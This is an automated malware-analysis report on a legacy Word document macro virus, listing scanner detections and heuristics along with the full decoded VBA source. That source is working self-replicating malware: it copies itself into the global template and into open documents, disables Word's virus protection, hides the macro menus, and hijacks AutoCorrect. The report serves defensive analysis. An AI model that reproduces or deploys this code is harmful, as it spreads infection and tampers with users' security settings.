MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample exhibits characteristics of a legacy macro virus, with multiple heuristics firing for WordBasic and VBA macros, including AutoOpen and AutoClose functions. The presence of these macros, coupled with the disabling of security features like VirusProtection, suggests an intent to execute further malicious actions. While no specific payload is directly observable, the structure points to a downloader or dropper.
Heuristics 6
-
ClamAV: Doc.Trojan.VMPCK1-16 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.VMPCK1-16
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8013 bytes |
SHA-256: 844d33437c9fadcd62f0af2f4c2be93b119525af1060a1bd380cc1190646d603 |
|||
|
Detection
ClamAV:
Doc.Trojan.VMPCK1-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub Fecha()
Attribute Fecha.VB_Description = "Macro creada el 16/05/99 por Germán Trudo"
Attribute Fecha.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Fecha"
'
' Fecha Macro
' Macro creada el 16/05/99 por Germán Trudo
'
End Sub
Sub Fecha2()
Attribute Fecha2.VB_Description = "Macro grabada el 16/05/99 por Germán Trudo"
Attribute Fecha2.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Fecha2"
'
' Fecha2 Macro
' Macro grabada el 16/05/99 por Germán Trudo
'
Selection.InsertDateTime DateTimeFormat:="dddd d' de 'MMMM' de 'aaaa", _
InsertAsField:=False
Selection.TypeText Text:=" "
Selection.InsertDateTime DateTimeFormat:="h:mm am/pm", InsertAsField:= _
False
End Sub
Attribute VB_Name = "colorinm"
Sub AutoExec()
Options.VirusProtection = False
End Sub
Sub AutoOpen()
Dim c As Byte
On Error Resume Next
Options.VirusProtection = False
Application.EnableCancelKey = False
inf
With CommandBars("tools")
.Controls(13).Enabled = False 'macro
.Controls(14).Enabled = False 'plantillas y complementos....
.Controls(15).Enabled = False 'personalizar...
End With
CommandBars("view").Controls(6).Enabled = False 'barras de herramientas
CommandBars("edit").Controls(9).Enabled = False 'edit select all
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
CommandBars("Tools").Controls(5).OnAction = "oculta1"
CommandBars("Tools").Controls(16).OnAction = "oculta2"
ActiveDocument.Variables.Add Name:="activo?"
If Minute((Now)) >= 55 Or Minute((Now)) <= 5 Then
ActiveDocument.Variables("activo?") = "si"
Options.BlueScreen = True
agrega
Else: ActiveDocument.Variables("activo?") = "no"
End If
For c = 1 To CommandBars("Control Toolbox").Controls.Count
CommandBars("Control Toolbox").Controls(1).Delete
Next c
End Sub
Sub inf()
Application.EnableCancelKey = False
On Error Resume Next
If Nch = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="colorinm", Object:=wdOrganizerObjectProjectItems
ActiveDocument.BuiltInDocumentProperties(wdPropertyComments) = "Comentarios, sugerencias, insultos?:" + vbCr + "a a b b c d e @ y a h o o . c o m"
End If
If Dch = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="colorinm", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Function Nch()
Dim i As Byte
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "colorinm" Then Nch = True
Next
End Function
Function Dch()
Dim J As Byte
For J = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(J).Name = "colorinm" Then Dch = True
Next
End Function
Sub ToolsMacro()
End Sub
Sub ViewVBCode()
End Sub
Sub oculta1()
If ActiveDocument.Variables("activo?").Value = "si" Then
borrador
Word.Dialogs.Item(wdDialogToolsAutoManager).Show
agrega
Else: Word.Dialogs.Item(wdDialogToolsAutoManager).Show
End If
End Sub
Sub oculta2()
aparentes
Word.Dialogs.Item(wdDialogToolsOptions).Show
reales
End Sub
Sub agrega()
Attribute agrega.VB_Description = "Macro grabada el 24/08/98 por MINIPHONE"
Attribute agrega.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.final"
Dim letra, color
Selection.ParagraphFormat.Alignment = wdAlignParagraphLeft
For vez = 1 To 24
Select Case vez
Case 1
letra = "a"
color = 7
Case 2
letra = "u"
color = 4
Case 3
letra = "o"
color = 3
Case 4
letra = "y"
color = 6
Case 5
letra = "e"
color = 5
Case 6
letra = "de"
color = 7
Case 7
letra = "en"
color = 4
Case 8
letra = "que"
color = 3
Case 9
letra = "la"
color = 6
Case 10
letra = "los"
color = 5
Case 11
letra = "las"
color = 7
Case 12
letra = "una"
color = 4
Case 13
letra = "le"
color = 5
Case 14
letra = "se"
color = 7
Case 15
letra = "ya"
color = 5
Case 16
letra = "no"
color = 7
Case 17
letra = "lo"
color = 4
Case 18
letra = "un"
color = 3
Case 19
letra = "por"
color = 6
Case 20
letra = "unos"
color = 5
Case 21
letra = "para"
color = 3
Case 22
letra = "si"
color = 3
Case 23
letra = "es"
color = 3
Case 24
letra = "con"
color = 4
End Select
With Selection
.Font.ColorIndex = color
.TypeText Text:=letra
.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
End With
autocorrect.Entries.AddRichText Name:=letra, Range:=Selection.Range
Next vez
autocorrect.ReplaceText = True
With Selection
.Font.ColorIndex = wdAuto
.Font.Name = "Courier New"
.Font.Size = 10
.Delete
End With
End Sub
Sub borrador()
Attribute borrador.VB_Description = "Macro grabada el 24/08/98 por MINIPHONE"
Attribute borrador.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro1asasa"
On Error Resume Next
autocorrect.ReplaceText = False
With autocorrect.Entries
.Item("a").Delete
.Item("u").Delete
.Item("o").Delete
.Item("y").Delete
.Item("e").Delete
.Item("de").Delete
.Item("en").Delete
.Item("que").Delete
.Item("la").Delete
.Item("los").Delete
.Item("las").Delete
.Item("una").Delete
.Item("le").Delete
.Item("se").Delete
.Item("ya").Delete
.Item("no").Delete
.Item("lo").Delete
.Item("un").Delete
.Item("por").Delete
.Item("unos").Delete
.Item("para").Delete
.Item("si").Delete
.Item("es").Delete
.Item("con").Delete
End With
End Sub
Sub aparentes()
With Options
Rem .BlueScreen = False
.VirusProtection = True
.AllowFastSave = True
.BackgroundSave = True
.SaveNormalPrompt = True
End With
End Sub
Sub reales()
On Error Resume Next
If ActiveDocument.Variables("activo?").Value = "si" Then Options.BlueScreen = True
With Options
.VirusProtection = False
.SavePropertiesPrompt = False
.SaveNormalPrompt = False
End With
End Sub
Sub autonew()
AutoOpen
End Sub
Sub AutoClose()
inf
chau
End Sub
Sub FileSave()
inf
End Sub
Sub autoexit()
inf
chau
End Sub
Sub FileSaveas()
inf
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub chau()
If ActiveDocument.Variables("activo?").Value = "si" Then
borrador
Options.BlueScreen = False
End If
ActiveDocument.Variables("activo?").Delete
End Sub
Sub tritri()
MsgBox (ActiveDocument.Variables("activo?").Value)
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.